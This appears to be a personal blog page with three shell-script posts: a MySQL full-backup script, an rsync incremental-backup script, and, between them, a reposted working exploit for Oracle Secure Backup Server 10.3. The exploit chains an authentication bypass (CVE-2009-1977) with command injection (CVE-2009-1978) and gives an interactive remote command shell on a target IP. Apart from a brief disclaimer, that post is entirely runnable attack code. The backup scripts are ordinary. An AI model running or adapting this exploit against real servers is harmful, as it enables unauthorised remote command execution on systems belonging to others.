Dec 02

Mysql Full Backup Script

By jason Mysql Server 1 Comment »

Mysql Full Backup Script, Hope it can help you.

#!/bin/sh
###################################################################
# Name:Mysql_Full_Backup.sh
# PS:MySQL DataBase Full Backup.
# Write by:Jason
# Last Modify:2009-11-20
###################################################################

# Define Variable Please Modify By Fact
# Define Script Directory
scriptsDir=/home/Script

# Define Database Directory
mysqlDir=/srv/mysql

# Define Database User & Name
user=bkuser
userPWD=pwd

# Define Backup Directory
dataBackupDir=/home/mysqlbackup

# Define Email Content
eMailFile=$dataBackupDir/email.txt

# Define Email Address
eMail=xxxx@mail.com

# Define Backup Log File.
logFile=$dataBackupDir/mysqlbackup.log
DATE=`date -I`

echo "" > $eMailFile
echo $(date +"%y-%m-%d %H:%M:%S") >> $eMailFile
cd $dataBackupDir

# Define Backup Filename.
dumpFile=database_$DATE.sql
GZDumpFile=database_$DATE.sql.tar.gz

# Backup Database By mysqldump
$mysqlDir/bin/mysqldump -u$user -p$userPWD \
–opt –default-character-set=gbk –extended-insert=false \
–triggers -R –hex-blob –all-databases \
–flush-logs –delete-master-logs \
–lock-all-tables > $dumpFile

# Compress Backup File

if [[ $? == 0 ]]; then
  tar czf $GZDumpFile $dumpFile >> $eMailFile 2>&1
  echo "BackupFileName:$GZDumpFile" >> $eMailFile
  echo "DataBase Backup Success!" >> $eMailFile

  rm -f $dumpFile

# Delete daily backup files.
#  cd $dataBackupDir/daily
#  rm -f *

# Delete old backup files(mtime>2).
#  $scriptsDir/rmBackup.sh

# Move Backup Files To Backup Server.
$scriptsDir/Rsync_Backup.sh

  if (( !$? )); then
    echo "Move Backup Files To Backup Server Success!" >> $eMailFile
    else
    echo "Move Backup Files To Backup Server Fail!" >> $eMailFile
  fi
else
  echo "DataBase Backup Fail!" >> $emailFile
fi

# Write Log File…
#echo "——————————————————–" >> $logFile

cat $eMailFile >> $logFile

# Notify ADMIN by Email.
#cat $eMailFile | mail -s "MySQL Backup" $eMail

Tagged with: • •
Oct 06

Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit

By jason Security Tools 1 Comment »

#!/bin/bash

#Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability
#1-day exploit for CVE-2009-1977 and CVE-2009-1978

#PoC script successfully tested on:
#Oracle Secure Backup Server 10.3.0.1.0_win32_release
#MS Windows Professional XP SP3

#In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities within Oracle Backup Admin server.
#Since I was quite interested in such flaws, I did a bit of research. This PoC exploits two separate vulnerabilities: a smart
#authentication bypass and a trivial command injection, resulting in arbitrary command execution.

#References:
#http://www.zerodayinitiative.com/advisories/ZDI-09-058/
#http://www.zerodayinitiative.com/advisories/ZDI-09-059/

#Use it for ethical pentesting only! The author accepts no liability for damage caused by this tool.
#Luca "ikki" Carettoni (blog.nibblesec.org), 10th September 2009

clear
echo ":: Oracle Secure Backup Admin Server 10.3 AuthBypass/CodeExec Exploit ::"

if [[ $# -ne 1 ]]
then
    echo "usage: ./$(basename $0) <target IP>"
    echo "i.e.: ./$(basename $0) 192.168.0.100"
    exit
fi

if ! which curl >/dev/null
then
    echo "’curl’ is required in order to handle HTTPS connections"
    exit
fi

TARGET=$1

#Exploiting CVE-2009-1977 and getting a valid token
echo "[+] Exploiting CVE-2009-1977 against $TARGET"
postdata="button=Login&attempt=1&mode=&tab=&uname=–fakeoption&passwd=fakepwd"
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`

if [[ -z $session ]]
then
    echo "[!] Fatal error. No valid token has been retrieved"
    exit
fi

echo "[+] I got a valid token: $session"

#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo "[+] Exploiting CVE-2009-1978 against $TARGET"
shell="1%26ver>osb103shelltmp"
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`

if [[ -z $check ]]
then
    echo "[!] Fatal error. I cannot execute arbitrary commands"
    exit
fi

echo "[+] Enjoy your non-interactive shell! Use EXIT to clean up everything"
echo
echo \>$check

while(true); do
    echo -n \>
    read -r cmd
    if [ "$cmd" == "EXIT" ]
    then
        echo "[+] Removing the temporary file and closing"
        shell="1%26del%20osb103shelltmp"
        curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
        exit
    fi
    #URLencode function
    cmd=`echo -n "$cmd"|od -t x1 -A n|tr " " %`
    shell="1%26$cmd>osb103shelltmp"
    curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
    echo "[+] Last successful command execution:"
    curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session"
done
#end

Tagged with: • • • •
May 15

Script to do incremental rsync backups

By jason Shell Script 1 Comment »

rsync is an open source utility that provides fast incremental file transfer. rsync is freely available under the GNU General Public License and is currently being maintained by Wayne Davison.

Here is a script of do incremental backup by rsync. Hope it can help you.
Test OS:Centos4,5 RedHatAS4,5

#!/bin/sh

#########################################################
# Script to do incremental rsync backups
# Adapted from script found on the rsync.samba.org
# Jason 3/24/2002
# This script is freely distributed under the GPL
#########################################################

##################################
# Configure These Options
##################################

###################################
# mail address for status updates
#  – This is used to email you a status report
###################################
MAILADDR=your_mail_address_here

###################################
# HOSTNAME
#  – This is also used for reporting
###################################
HOSTNAME=your_hostname_here

###################################
# directory to backup
# – This is the path to the directory you want to archive
###################################
BACKUPDIR=directory_you_want_to_backup

###################################
# excludes file – contains one wildcard pattern per line of files to exclude
#  – This is a rsync exclude file.  See the rsync man page and/or the
#    example_exclude_file
###################################
EXCLUDES=example_exclude_file

###################################
# root directory to for backup stuff
###################################
ARCHIVEROOT=directory_to_backup_to

#########################################
# From here on out, you probably don’t  #
#   want to change anything unless you  #
#   know what you’re doing.             #
#########################################

# directory which holds our current datastore
CURRENT=main

# directory which we save incremental changes to
INCREMENTDIR=`date +%Y-%m-%d`

# options to pass to rsync
OPTIONS="–force –ignore-errors –delete –delete-excluded \
–exclude-from=$EXCLUDES –backup –backup-dir=$ARCHIVEROOT/$INCREMENTDIR -av"

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin

# make sure our backup tree exists
install -d $ARCHIVEROOT/$CURRENT

# our actual rsyncing function
do_rsync()
{
   rsync $OPTIONS $BACKUPDIR $ARCHIVEROOT/$CURRENT
}

# our post rsync accounting function
do_accounting()
{
   echo "Backup Accounting for Day $INCREMENTDIR on $HOSTNAME:">/tmp/rsync_script_tmpfile
   echo >> /tmp/rsync_script_tmpfile
   echo "################################################">>/tmp/rsync_script_tmpfile
   du -s $ARCHIVEROOT/* >> /tmp/rsync_script_tmpfile
   echo "Mail $MAILADDR -s $HOSTNAME Backup Report < /tmp/rsync_script_tmpfile"
   Mail $MAILADDR -s $HOSTNAME Backup Report < /tmp/rsync_script_tmpfile
   echo "rm /tmp/rsync_script_tmpfile"
   rm /tmp/rsync_script_tmpfile
}

# some error handling and/or run our backup and accounting
if [ -f $EXCLUDES ]; then
    if [ -d $BACKUPDIR ]; then
        # now the actual transfer
        do_rsync && do_accounting
    else
        echo "cant find $BACKUPDIR"; exit
    fi
    else
        echo "cant find $EXCLUDES"; exit
fi

Tagged with: • • •
preload preload preload